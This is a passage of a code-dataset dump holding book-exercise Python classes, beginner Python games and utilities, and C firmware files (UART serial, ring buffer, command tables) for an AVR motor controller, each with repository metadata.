rear_shock='Fox'\n)\nprint(bike.spares)\n" }, { "alpha_fraction": 0.6740087866783142, "alphanum_fraction": 0.7224669456481934, "avg_line_length": 27.375, "blob_id": "09b025e7d5a5bac274e4ac81b59df9cc394e8347", "content_id": "ad6db8ef820a30c89ebc604d589ae569f4d8c23d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 227, "license_type": "permissive", "max_line_length": 62, "num_lines": 8, "path": "/ch09/test_Wheel01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom sources.Wheel01 import Wheel\n\n\nclass WheelTest(TestCase):\n def test_calculates_diameter(self):\n wheel = Wheel(26, 1.5)\n self.assertAlmostEqual(29, wheel.diameter, delta=0.01)\n" }, { "alpha_fraction": 0.5782137513160706, "alphanum_fraction": 0.5859576463699341, "avg_line_length": 18.969072341918945, "blob_id": "a1679b853ffce6ad6b029d226eb8f0d2d01f477c", "content_id": "a95a00489091c5a2a248fa9e69a39acc54000894", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1937, "license_type": "permissive", "max_line_length": 77, "num_lines": 97, "path": "/ch08/Bicycle04.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from collections import namedtuple\n\n\nclass Bicycle:\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__parts = kwargs['parts']\n\n @property\n def size(self):\n return self.__size\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return self.parts.spares\n\n\nclass Parts:\n def __init__(self, parts):\n self.__parts = parts\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return [part for part in self.parts if part.needs_spare]\n\n def __len__(self):\n return len(self.parts)\n\n def __iter__(self):\n return (part for part in self.parts)\n\n\ndef Struct(**kwargs):\n return namedtuple('Struct', ' '.join(kwargs.keys()))(**kwargs)\n\n\nclass PartsFactory:\n @staticmethod\n def build(config, parts_class=Parts):\n return parts_class(\n [PartsFactory.create_part(part_config) for part_config in config]\n )\n\n @staticmethod\n def create_part(part_config):\n return Struct(\n name=part_config[0],\n description=part_config[1],\n needs_spare=part_config[2] if (len(part_config) == 3) else True\n )\n\n\nroad_config = (\n ('chain', '10-speed'),\n ('tire_size', '23'),\n ('tape_color', 'red'),\n)\n\nmountain_config = (\n ('chain', '10-speed'),\n ('tire_size', '2.1'),\n ('front_shock', 'Manitou', False),\n ('rear_shock', 'Fox'),\n)\n\nroad_bike = Bicycle(\n size='L',\n parts=PartsFactory.build(road_config)\n)\nprint(road_bike.spares)\n\nmountain_bike = Bicycle(\n size='L',\n parts=PartsFactory.build(mountain_config)\n)\nprint(mountain_bike.spares)\n\nrecumbent_config = (\n ('chain', '9-speed'),\n ('tire_size', '28'),\n ('flag', 'tall and orange'),\n)\n\nrecumbent_bike = Bicycle(\n size='L',\n parts=PartsFactory.build(recumbent_config)\n)\n\nprint(recumbent_bike.spares)\n" } ]
28
Ridwanullahi-code/python1
https://github.com/Ridwanullahi-code/python1
53defac0726374b73f6f783bf01aedb363693382
6acd0618f65269c38306fd461b0c88d3fdecf64f
daeebd82966ee4d4cf564a96c9e6737994d154a3
refs/heads/master
2023-03-05T21:47:01.101415
2021-02-21T11:41:47
2021-02-21T11:41:47
340,843,129
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5659472346305847, "alphanum_fraction": 0.5947242379188538, "avg_line_length": 16.29166603088379, "blob_id": "13df6ec0ef50fc556049089a855c030512a13988", "content_id": "04994476276d26463574e836bc560216ba6ee0c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 417, "license_type": "no_license", "max_line_length": 49, "num_lines": 24, "path": "/math_operation.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "loop = True\nwhile loop == True:\n\n\tnum1 = int(input(\"Enter your first number : \"))\n\toperator= input(\"Enter operator: \")\n\tnum2 = int(input(\"Enter your second number : \"))\n\n\tif operator == \"+\":\n\t\tprint(num1 + num2)\n\n\telif operator == \"-\":\n\t\tprint(num1 - num2)\n\n\telif operator == \"*\":\n\t\tprint(num1 * num2)\n\n\telif operator == \"%\":\n\t\tprint(num1 % num2)\n\n\telif operator == \"/\":\n\t\tprint(num1 / num2)\n\n\telse:\n\t\tloop = False\n\n\n" }, { "alpha_fraction": 0.5321969985961914, "alphanum_fraction": 0.560606062412262, "avg_line_length": 19.19230842590332, "blob_id": "8ab7cdd5494a27c00e3fd41506bd55f58371b0a1", "content_id": "1f86fe3288516eb4ddfa535cb814136835bdde74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 528, "license_type": "no_license", "max_line_length": 73, "num_lines": 26, "path": "/Deck_and_card.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "class Card:\n\n\tdef __init__(self,suits,values):\n\t\tself.suits = suits\n\t\tself.values = values\n\n\tdef __repr__(self):\n\t\treturn f'{self.values} of {self.suits}'\n\nclass Deck:\n\n\tdef __init__(self):\n\n\t\tsuits = [\"Hearts\", \"Diamond\", \"Clubs\", \"Spade\"]\n\t\tvalues = [\"A\", \"2\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\" ]\n\n\t\tself.cards = [Card(value,suit) for suit in suits for value in values]\n\t\tprint(self.cards)\n\nDeck()\n#c = Card(\"A\", \"Hearts\")\n#c2 = Card(\"10\", \"Diamond\")\n#c3 = Card(\"K\",\"Spade\")\n#print(c)\n#print(c2)\n#print(c3)\n\n\n\n" }, { "alpha_fraction": 0.6326530575752258, "alphanum_fraction": 0.6394557952880859, "avg_line_length": 18.14285659790039, "blob_id": "ae981029fe5e26e1099e75cc6eb879be47d526de", "content_id": "8ac437dd8d5404cc7910b200cb527b91e8356f31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 147, "license_type": "no_license", "max_line_length": 44, "num_lines": 7, "path": "/exercise3.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "# write a python to het the volume of sphere\r\n\r\nfrom math import pi\r\n\r\nnum_calc = int(input('Enter the number '))\r\n\r\nvolume_of_sphere = 4 * \r\n\r\n" }, { "alpha_fraction": 0.7417654991149902, "alphanum_fraction": 0.7602108120918274, "avg_line_length": 29.31999969482422, "blob_id": "c207cf9716bc9a934737900cc7cd6bc4ed46a6a2", "content_id": "79c3f9037225d3734af9f72b26680cb2dae22d35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 759, "license_type": "no_license", "max_line_length": 75, "num_lines": 25, "path": "/oop.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "class BankAccount:\n\tdef __init__(self,AccName,AccNumber,AccType,Amount):\n\t\tself.AccName = AccName\n\t\tself.AccNumber = AccNumber\n\t\tself.AccType = AccType\n\t\tself.Amount = Amount\n\n\tdef Withdraw(self):\n\t\treturn f\"{self.AccName} Withdraw {self.Amount} Today\"\n\n\tdef Deposite(self):\n\t\treturn f\"{self.AccName} Deposite {self.Amount} Yesterday\"\n\n\tdef CheckBalance(self):\n\t\treturn f\"{self.AccName} Account Balance remain {self.Amount}\"\n\n\tdef CreateAcct(self):\n\t\treturn f'{self.AccName} Account was successfully created'\n\ncustomer = BankAccount(\"AJAYI\",3424792409,\"Saving\", 5000)\nprint(customer.AccName,customer.AccNumber,customer.AccType,customer.Amount)\nprint(customer.Withdraw())\nprint(customer.Deposite())\nprint(customer.CheckBalance())\nprint(customer.CreateAcct())\n\n" }, { "alpha_fraction": 0.6660988330841064, "alphanum_fraction": 0.7291311621665955, "avg_line_length": 19.13793182373047, "blob_id": "6269a22820e2ade4a336139ee2165e5136d329e1", "content_id": "eacfe89bc90b6608c26b5c97e0f56d3bf9613cca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 587, "license_type": "no_license", "max_line_length": 31, "num_lines": 29, "path": "/number_and_math.py.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "name = \"ajayi ridwan olalekan \"\nname2 = \"akinlabi tunde\"\n#concantenation of names\naddtion_of_name = name + name2\nprint(addtion_of_name)\n#variable assign\nperson1 = 23\nperson2 = 30\n#display result\nprint(person1+person2)\nprint(person1*person2)\nprint(person1/person2)\nprint(person1**2)\nprint(person2%person1)\n#another variable declare\nseparate = name[4]\nprint(separate)\n# numbers \nmath1 = 20.0\ncasting = int(math1)\nprint(casting)\nprint(str(math1))\n# casting on python \ncasting2 = name + str(person1)\nprint(casting2 )\n#more complex calculation\ncalculation = 1+ 2 * 5 / 3\nprint(calculation)\nprint((12+6)* 2 - 8) \n \n" }, { "alpha_fraction": 0.6542372703552246, "alphanum_fraction": 0.6610169410705566, "avg_line_length": 18.600000381469727, "blob_id": "745f7b2edb1b1bbca99418b465dbf9d92018370f", "content_id": "b0fd3004524f8b670324b7d0020744620466cdd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "no_license", "max_line_length": 53, "num_lines": 15, "path": "/dice_rolling.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "from random import randint \n\nplaying_game = True\n\nwhile playing_game == True:\n\tdice_rolling = randint(1,7)\n\tprint(f\"player roll: {dice_rolling}\")\n\n\tplay_agin = input(\"Do you want to play again (y/n)\")\n\n\tif play_agin == \"y\":\n\t\tplaying_game = True\n\n\telif play_agin == \"n\":\n\t\tplaying_game = False\n\n" }, { "alpha_fraction": 0.7174999713897705, "alphanum_fraction": 0.7275000214576721, "avg_line_length": 22.558822631835938, "blob_id": "0de4b5fe86d5c03c0c5218e67ac75297e4924aba", "content_id": "a87f20a561bf6ea8f44b7755c24b2049191abc84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 800, "license_type": "no_license", "max_line_length": 80, "num_lines": 34, "path": "/number_guessing.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "# from random module randint function was import\nfrom random import randint\n\n#condition for while loop\ngame_running =True\n\n# while loop to repeat the game several times\nwhile game_running == True:\n\n# player score \n\tplayer_score = 10\n\n# print function to display player score \n\tprint(player_score)\n\n# generate random number for computer\n\tComputer = randint(1,11)\n\n# input function to wait for player enter number and int to casting it to number\n\tplayer = int(input(\"Guess The Number: \"))\n\n\tprint(f\"Computer play:{Computer} player play: {player}\")\n\n# conditional statement for game\n\tif Computer == player:\n\t\tplayer_score += 1\n\t\tprint(f\"Player score: {player_score}\")\n\n\telif Computer != player:\n\t\tplayer_score -= 1\n\t\tprint(f\"Player score: {player_score}\")\n\n\tif player_score == 0:\n\t\tgame_running = False" }, { "alpha_fraction": 0.6575073599815369, "alphanum_fraction": 0.6692836284637451, "avg_line_length": 31.677419662475586, "blob_id": "45005c51986a3cf47406cce9f9931b5aad8a1636", "content_id": "d61fa5d206c9db881e57c5431fd252e6cf60f62d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1019, "license_type": "no_license", "max_line_length": 70, "num_lines": 31, "path": "/Guess_Number_Game.py", "repo_name": "Ridwanullahi-code/python1", "src_encoding": "UTF-8", "text": "from random import randint\nGame_running = True\nnew_round = True\nwhile Game_running == True:\n\trandom_number = randint(1,10)\n\tnumber = int(input(\"Guess a number between 1 and 10: \"))\n\tprint(f\"random number is: {random_number} and number is: {number}\") \n\tif number == random_number:\n\t\tprint(\"You guessed it! You won!\")\n\telif number > random_number:\n\t\tprint(\"Too high, try again!\")\n\telif number < random_number:\n\t\tprint(\"Too low, try again!\")\n\n\tif number == random_number:\n\t\tGame_running = False\nplaying = input(\"Do you want to keep playing (y/n) \")\nwhile new_round == True:\n\tif playing == \"y\":\n\t\trandom_number = randint(1,10)\n\t\tnumber = int(input(\"Guess a number between 1 and 10: \"))\n\t\tprint(f\"random number is: {random_number} and number is: {number}\") \n\t\tif number == random_number:\n\t\t\tprint(\"You guessed it! You won!\")\n\t\telif number > random_number:\n\t\t\tprint(\"Too high, try again!\")\n\t\telif number < random_number:\n\t\t\tprint(\"Too low, try again!\")\n\telif playing == \"n\":\n\t\tprint(\"Thanks for playing. Bye!\")\n\t\tbreak\n\n\n\n\n\n\n" } ]
8
caseykuhns/MotoMaster
https://github.com/caseykuhns/MotoMaster
d9b177e98590f4a870133af545ef6975e08b0c66
1df5545eb7dd126e172a2e5a84df1bb13d275695
4003b3d93ab31a7c8d6927a4aeb7c7a05991c3f4
refs/heads/master
2021-01-02T23:52:46.626155
2015-07-07T14:06:46
2015-07-07T14:06:46
38,122,785
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.4377641975879669, "alphanum_fraction": 0.7224048972129822, "avg_line_length": 19.669902801513672, "blob_id": "a74e35229cadeb2856bfd6e360ebabcccd6e06b3", "content_id": "b57afa319c5d13d8036f201ce810971a692cc8ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4258, "license_type": "permissive", "max_line_length": 37, "num_lines": 206, "path": "/src/baud.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * baud.h\n *\n * Created on: Apr 26, 2014\n * Author: caseykuhns\n */\n\n#ifndef BAUD_H_\n#define BAUD_H_\n\n// Auto Generated by BaudGenerator.py\n\n#if F_CPU == 1000000\n #define BAUD_300 207\n #define BAUD_1200 51\n #define BAUD_2400 25\n #define BAUD_4800 12\n #define BAUD_9600 6\n #define BAUD_14400 3\n #define BAUD_19200 2\n #define BAUD_28800 1\n #define BAUD_38400 1\n #define BAUD_57600 0\n\n#elif F_CPU == 1843200\n #define BAUD_300 383\n #define BAUD_1200 95\n #define BAUD_2400 47\n #define BAUD_4800 23\n #define BAUD_9600 11\n #define BAUD_14400 7\n #define BAUD_19200 5\n #define BAUD_28800 3\n #define BAUD_38400 2\n #define BAUD_57600 1\n #define BAUD_76800 1\n #define BAUD_115200 0\n\n#elif F_CPU == 2000000\n #define BAUD_300 416\n #define BAUD_1200 103\n #define BAUD_2400 51\n #define BAUD_4800 25\n #define BAUD_9600 12\n #define BAUD_14400 8\n #define BAUD_19200 6\n #define BAUD_28800 3\n #define BAUD_38400 2\n #define BAUD_57600 1\n #define BAUD_76800 1\n #define BAUD_115200 0\n\n#elif F_CPU == 3686400\n #define BAUD_300 767\n #define BAUD_1200 191\n #define BAUD_2400 95\n #define BAUD_4800 47\n #define BAUD_9600 23\n #define BAUD_14400 15\n #define BAUD_19200 11\n #define BAUD_28800 7\n #define BAUD_38400 5\n #define BAUD_57600 3\n #define BAUD_76800 2\n #define BAUD_115200 1\n #define BAUD_230400 0\n\n#elif F_CPU == 4000000\n #define BAUD_300 832\n #define BAUD_1200 207\n #define BAUD_2400 103\n #define BAUD_4800 51\n #define BAUD_9600 25\n #define BAUD_14400 16\n #define BAUD_19200 12\n #define BAUD_28800 8\n #define BAUD_38400 6\n #define BAUD_57600 3\n #define BAUD_76800 2\n #define BAUD_115200 1\n #define BAUD_230400 0\n #define BAUD_250000 0\n\n#elif F_CPU == 7372800\n #define BAUD_300 1535\n #define BAUD_1200 383\n #define BAUD_2400 191\n #define BAUD_4800 95\n #define BAUD_9600 47\n #define BAUD_14400 31\n #define BAUD_19200 23\n #define BAUD_28800 15\n #define BAUD_38400 11\n #define BAUD_57600 7\n #define BAUD_76800 5\n #define BAUD_115200 3\n #define BAUD_230400 1\n #define BAUD_250000 1\n\n#elif F_CPU == 8000000\n #define BAUD_300 1666\n #define BAUD_1200 416\n #define BAUD_2400 207\n #define BAUD_4800 103\n #define BAUD_9600 51\n #define BAUD_14400 34\n #define BAUD_19200 25\n #define BAUD_28800 16\n #define BAUD_38400 12\n #define BAUD_57600 8\n #define BAUD_76800 6\n #define BAUD_115200 3\n #define BAUD_230400 1\n #define BAUD_250000 1\n #define BAUD_500000 0\n\n#elif F_CPU == 11059200\n #define BAUD_300 2303\n #define BAUD_1200 575\n #define BAUD_2400 287\n #define BAUD_4800 143\n #define BAUD_9600 71\n #define BAUD_14400 47\n #define BAUD_19200 35\n #define BAUD_28800 23\n #define BAUD_38400 17\n #define BAUD_57600 11\n #define BAUD_76800 8\n #define BAUD_115200 5\n #define BAUD_230400 2\n #define BAUD_250000 2\n #define BAUD_500000 0\n\n#elif F_CPU == 14745600\n #define BAUD_300 3071\n #define BAUD_1200 767\n #define BAUD_2400 383\n #define BAUD_4800 191\n #define BAUD_9600 95\n #define BAUD_14400 63\n #define BAUD_19200 47\n #define BAUD_28800 31\n #define BAUD_38400 23\n #define BAUD_57600 15\n #define BAUD_76800 11\n #define BAUD_115200 7\n #define BAUD_230400 3\n #define BAUD_250000 3\n #define BAUD_500000 1\n\n#elif F_CPU == 16000000\n #define BAUD_300 3332\n #define BAUD_1200 832\n #define BAUD_2400 416\n #define BAUD_4800 207\n #define BAUD_9600 103\n #define BAUD_14400 68\n #define BAUD_19200 51\n #define BAUD_28800 34\n #define BAUD_38400 25\n #define BAUD_57600 16\n #define BAUD_76800 12\n #define BAUD_115200 8\n #define BAUD_230400 3\n #define BAUD_250000 3\n #define BAUD_500000 1\n #define BAUD_1000000 0\n\n#elif F_CPU == 18432000\n #define BAUD_300 3839\n #define BAUD_1200 959\n #define BAUD_2400 479\n #define BAUD_4800 239\n #define BAUD_9600 119\n #define BAUD_14400 79\n #define BAUD_19200 59\n #define BAUD_28800 39\n #define BAUD_38400 29\n #define BAUD_57600 19\n #define BAUD_76800 14\n #define BAUD_115200 9\n #define BAUD_230400 4\n #define BAUD_250000 4\n #define BAUD_500000 1\n #define BAUD_1000000 0\n\n#elif F_CPU == 20000000\n #define BAUD_1200 1041\n #define BAUD_2400 520\n #define BAUD_4800 259\n #define BAUD_9600 129\n #define BAUD_14400 86\n #define BAUD_19200 64\n #define BAUD_28800 42\n #define BAUD_38400 32\n #define BAUD_57600 21\n #define BAUD_76800 15\n #define BAUD_115200 10\n #define BAUD_230400 4\n #define BAUD_250000 4\n #define BAUD_500000 2\n #define BAUD_1000000 0\n\n#endif\n\n#endif /* BAUD_H_ */\n" }, { "alpha_fraction": 0.6260306239128113, "alphanum_fraction": 0.663722038269043, "avg_line_length": 21.626667022705078, "blob_id": "3b411d3a89fc1df2ae64584029cf6b28d614f5f3", "content_id": "2b6c5d8f842f53d31eb0e46325e98c0dfc20046c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1698, "license_type": "permissive", "max_line_length": 75, "num_lines": 75, "path": "/src/serial.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * serial.c\n *\n * Created on: Mar 30, 2014\n * Author: caseykuhns\n */\n#include <avr/io.h>\n#include <avr/interrupt.h>\n#include \"serial.h\"\n#include \"ringBuffer.h\"\n\nvoid serialInit(uint16_t ubrr) {\n\t// Set baud rate\n\tUBRR0H = (uint8_t) (ubrr >> 8);\n\tUBRR0L = (uint8_t) ubrr;\n\t// Enable receiver and transmitter\n\tUCSR0B = (1 << RXEN0) | (1 << TXEN0);\n\t// Set frame format: 8data, 1stop bit\n\tUCSR0C = (3 << UCSZ00);\n\t// Enable interrupt for receive\n\tUCSR0B |= (1 << RXCIE0);\n}\n\nvoid serialPutChar(uint8_t data)\n/* Send a byte through the UART to the user device\n * This is a blocking function. It waits until the data buffer is finished\n * transferring data.\n */\n{\n\t// Wait for empty transmit buffer\n\twhile ( ! ( UCSR0A & (1 << UDRE0)) );\n\n\tUDR0 = data;\n}\n\nvoid serialPutStr(char *data){\n\tuint8_t i = 0;\n\twhile(data[i] != '\\0'){\n\t\tserialPutChar(data[i]);\n\t\ti++;\n\t}\n}\n\nvoid serialGetChar()\n/* Get byte from UART and place in Buffer\n * This function is used within the\n * RX transmit complete interrupt.\n */\n{\n\t//Wait for transfer to be complete\n\twhile (!(UCSR0A & (1 << RXC0)));\n\t//Put data from UART data register into the ring buffer.\n\tputCharInBuffer(UDR0);\n}\n\n/* We have to rename the ISR labels depending AVR microcontroller used\n*\tCurrent options are:\n*\tm328, m328p, m2560\n*/\n\n#if defined (__AVR_ATmega328P__) || defined (__AVR_ATmega328__)\nISR(USART_RX_vect)\n#elif defined (__AVR_ATmega2560__)\nISR(USART0_RX_vect)\n#endif\n\n/* Interrupt routine for serial receive.\n */\n{\n\t//Wait for transfer to be complete\n\twhile (!(UCSR0A & (1 << RXC0)));\n\t//Put data from UART data register into the ring buffer.\n\tputCharInBuffer(UDR0);\n\t//serialGetChar(); //Grab the byte and put it in the buffer.\n};\n\n" }, { "alpha_fraction": 0.7028423547744751, "alphanum_fraction": 0.7226529121398926, "avg_line_length": 19.73214340209961, "blob_id": "35818853c3813156b95dc7e04fb7c4fc68da91a9", "content_id": "ee48d4228c1b6f7ff3eb35f5d95dc9560bd3c97b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1161, "license_type": "permissive", "max_line_length": 57, "num_lines": 56, "path": "/src/ringBuffer.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * circularBuffer.c\n *\n * Created on: May 11, 2014\n * Author: caseykuhns\n */\n#include \"ringBuffer.h\"\n#include \"serial.h\"\n\nuint8_t charBuffer[BUFFER_SIZE];\nvolatile uint8_t bufferLength;\nuint8_t bufferHead;\nuint8_t bufferTail;\n\nvoid putCharInBuffer(uint8_t data){\n\n\tif(bufferLength >= BUFFER_SIZE){\n\t\tbufferOverflow();\n\t\treturn;\n\t}\n\n\tcharBuffer[bufferTail] = data;\n\t//Advance the ring buffer tail by 1\n\tbufferTail++;\n\t//Add one to the available bytes count\n\tbufferLength++;\n\t//Check bufferTail to ensure it does not overflow\n\tbufferTail = bufferTail % BUFFER_SIZE;\n};\n\nuint8_t getCharFromBuffer(void){\n\t//Check if there is data in the buffer, if not return -1\n\tif(bufferLength == 0) return -1;\n\t//return character from buffer\n\tuint8_t data = charBuffer[bufferHead];\n\t//Advance the ring buffer head by 1\n\tbufferHead++;\n\t//Subtract 1 from the available bytes count\n\tbufferLength--;\n\t//Check bufferHead to ensure it does not overflow\n\tbufferHead = bufferHead % BUFFER_SIZE;\n\treturn data;\n}\n\nuint8_t getBufferLength(void){\n\treturn bufferLength;\n}\n\nvoid bufferOverflow(void){\n}\n\nvoid flushBuffer(void){\n\tbufferHead = 0;\n\tbufferTail = 0;\n\tbufferLength = 0;\n}\n" }, { "alpha_fraction": 0.5073529481887817, "alphanum_fraction": 0.5441176295280457, "avg_line_length": 9.461538314819336, "blob_id": "aa02918aa97b53bb1dc191ecae39c8a9f064d535", "content_id": "f183f65c25546c0f2911d40d96704b55e03b906f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 136, "license_type": "permissive", "max_line_length": 27, "num_lines": 13, "path": "/src/servo.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * servo.h\n *\n * Created on: Apr 1, 2014\n * Author: caseykuhns\n */\n\n#ifndef SERVO_H_\n#define SERVO_H_\n\n\n\n#endif /* SERVO_H_ */\n" }, { "alpha_fraction": 0.6930460333824158, "alphanum_fraction": 0.6975390315055847, "avg_line_length": 38.4879035949707, "blob_id": "0cf504cf7a1c06bca8a252e3b97946806adb9a36", "content_id": "672de37cf2d3668a9b106f86c29120c719b6ddf7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9793, "license_type": "permissive", "max_line_length": 144, "num_lines": 248, "path": "/src/commands.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * commands.h\n *\n * Created on: Jun 6, 2014\n * Author: casey.kuhns\n */\n\n\n#ifndef COMMANDS_H_\n#define COMMANDS_H_\n\n#include <avr/io.h>\n#include <avr/pgmspace.h>\n\n#include \"commandContexts.h\"\n\n#define COMMAND 14\n#define OBJECT 9\n#define PARAMETER 4\n#define SUB_PARAMETER 0\n\n\n\ntypedef struct command_table_entry\n{\n char* commandName;\n char* abreviatedCommandName;\n uint8_t commandContext;\n\n}command_table;\n\n//----------------------------------------------------------//\n//Lower case only for all tokens!\n#define COMMAND_COUNT 4\nstatic const command_table commands[COMMAND_COUNT] =\n{\n\t{\"get\"\t\t,\"g\"\t,Gxx},\n\t{\"set\"\t\t,\"s\"\t,xSx},\n\t{\"reset\"\t,\"r\"\t,xxR},\n\n\t{\"help\"\t\t,\"h\"\t,0xff}\n};\n\nconst PROGMEM char commands_get_help_message[] \t= \"retrieve a parameter or variable.\\r\\n Type \\\"get help\\\" for more info\";\nconst PROGMEM char commands_set_help_message[] \t= \"enter a parameter or variable.\\r\\n Type \\\"set help\\\" for more info\";\nconst PROGMEM char commands_reset_help_message[] \t= \"resets the parameter to last saved configuration.\\r\\n Type \\\"set help\\\" for more info\";\n\nconst PROGMEM char * const commands_help_messages[COMMAND_COUNT - 1] =\n{\n\tcommands_get_help_message,\n\tcommands_set_help_message,\n\tcommands_reset_help_message\n};\n\n//----------------------------------------------------------//\n//G\t\tS\tR\n//Get \tSet Reset\n\n#define OBJECT_COUNT 6\nstatic const command_table objects[OBJECT_COUNT] =\n{\n\t{\"channel\"\t\t,\"ch\"\t,GSR},\n\t{\"motor\"\t\t,\"m\"\t,GSR},\n\t{\"servo\"\t\t,\"s\"\t,GSR},\n\t{\"controller\"\t,\"c\"\t,GSR},\n\t{\"all\"\t\t\t,\"a\"\t,GxR},\n\n\t{\"help\"\t\t\t,\"h\"\t,0xff}\n};\n\nconst PROGMEM char objects_channel_help_message[] PROGMEM \t= \"objects_channel_help_message\";\nconst PROGMEM char objects_motor_help_message[] PROGMEM \t\t= \"objects_motor_help_message\";\nconst PROGMEM char objects_servo_help_message[] PROGMEM \t\t= \"objects_servo_help_message\";\nconst PROGMEM char objects_controller_help_message[] PROGMEM \t= \"objects_controller_help_message\";\nconst PROGMEM char objects_all_help_message[] PROGMEM \t\t= \"objects_all_help_message\";\n\nconst PROGMEM char * const objects_help_messages[OBJECT_COUNT - 1] =\n//const PROGMEM char *objects_help_messages[] =\n{\n\t\tobjects_channel_help_message,\n\t\tobjects_motor_help_message,\n\t\tobjects_servo_help_message,\n\t\tobjects_controller_help_message,\n\t\tobjects_all_help_message\n};\n\n//----------------------------------------------------------//\n//G\t\tS\tR\t\tC\t\tM\t\tS\t\tC\n//Get \tSet Reset \tChannel Motor \tServo\tController\n\n#define PARAMETER_COUNT 23\n#define PARAMETER_WITH_SUB_PARAMETER 3\nstatic const command_table parameters[PARAMETER_COUNT] =\n{\n\n\t{\"encoder\"\t\t\t,\"enc\"\t, GSRxMSx },\t//Has sub parameters *see sub_parameters[]\n\t{\"limit\"\t\t\t,\"lim\"\t, GSxxxSx },\t//Has sub parameters *see sub_parameters[]\n\t{\"potentiometer\"\t,\"pot\"\t, GSRxxSx },\t//Has sub parameters *see sub_parameters[]\n\n\t{\"absolute_distance\",\"abs\"\t, GSRxMxx },\n\t{\"acceleration\"\t\t,\"acc\"\t, GSRxMSx },\n\t{\"current\"\t\t\t,\"cur\"\t, GxxCMSC },\n\t{\"derivative\"\t\t,\"der\"\t, GSRxMSx },\n\t{\"direction\"\t\t,\"dir\"\t, GSRCMSx },\n\t{\"distance\"\t\t\t,\"dst\"\t, GSxxMxx },\n\t{\"input\"\t\t\t,\"in\"\t, GSxxxSx },\n\t{\"integral\"\t\t\t,\"int\"\t, GSRxMSx },\n\t{\"lipo_protection\"\t,\"lip\"\t, GSRxMSC },\n\t{\"lipo_status\"\t\t,\"lis\"\t, GxxxxxC },\n\t{\"max_current\"\t\t,\"mxc\"\t, GSRCMSC },\n\t{\"max_temperature\"\t,\"mxt\"\t, GSRxxxC },\n\t{\"max_velocity\"\t\t,\"mxv\"\t, GSRxMSx },\n\t{\"mode\"\t\t\t\t,\"m\"\t, GSRCxxx },\n\t{\"position\"\t\t\t,\"pos\"\t, GSRxMSx },\n\t{\"power\"\t\t\t,\"pwr\"\t, GSRxMxx },\n\t{\"proportional\"\t\t,\"prp\"\t, GSRxMSx },\n\t{\"temperature\"\t\t,\"t\"\t, GxxCMSC },\n\t{\"velocity\"\t\t\t,\"v\"\t, GSxxMSx },\n\n\t{\"help\"\t\t\t\t,\"h\"\t,0xff}\n};\n\nconst PROGMEM char parameters_encoder_help_message[] PROGMEM \t\t\t= \"parameters_encoder_help_message\";\nconst PROGMEM char parameters_limit_help_message[] PROGMEM \t\t\t= \"parameters_limit_help_message\";\nconst PROGMEM char parameters_potentiometer_help_message[] PROGMEM \t= \"parameters_potentiometer_help_message\";\n\nconst PROGMEM char parameters_abs_distance_help_message[] PROGMEM \t= \"parameters_abs_distance_help_message\";\nconst PROGMEM char parameters_acceleration_help_message[] PROGMEM\t\t= \"parameters_acceleration_help_message\";\nconst PROGMEM char parameters_current_help_message[] PROGMEM \t\t\t= \"parameters_current_help_message\";\nconst PROGMEM char parameters_derivative_help_message[] PROGMEM \t\t= \"parameters_derivative_help_message\";\nconst PROGMEM char parameters_direction_help_message[] PROGMEM \t\t= \"parameters_direction_help_message\";\nconst PROGMEM char parameters_distance_help_message[] PROGMEM \t\t= \"parameters_distance_help_message\";\nconst PROGMEM char parameters_input_help_message[] PROGMEM \t\t\t= \"parameters_input_help_message\";\nconst PROGMEM char parameters_integral_help_message[] PROGMEM \t\t= \"parameters_integral_help_message\";\nconst PROGMEM char parameters_lipo_protection_help_message[] PROGMEM \t= \"parameters_lipo_protection_help_message\";\nconst PROGMEM char parameters_lipo_status_help_message[] PROGMEM \t\t= \"parameters_lipo_status_help_message\";\nconst PROGMEM char 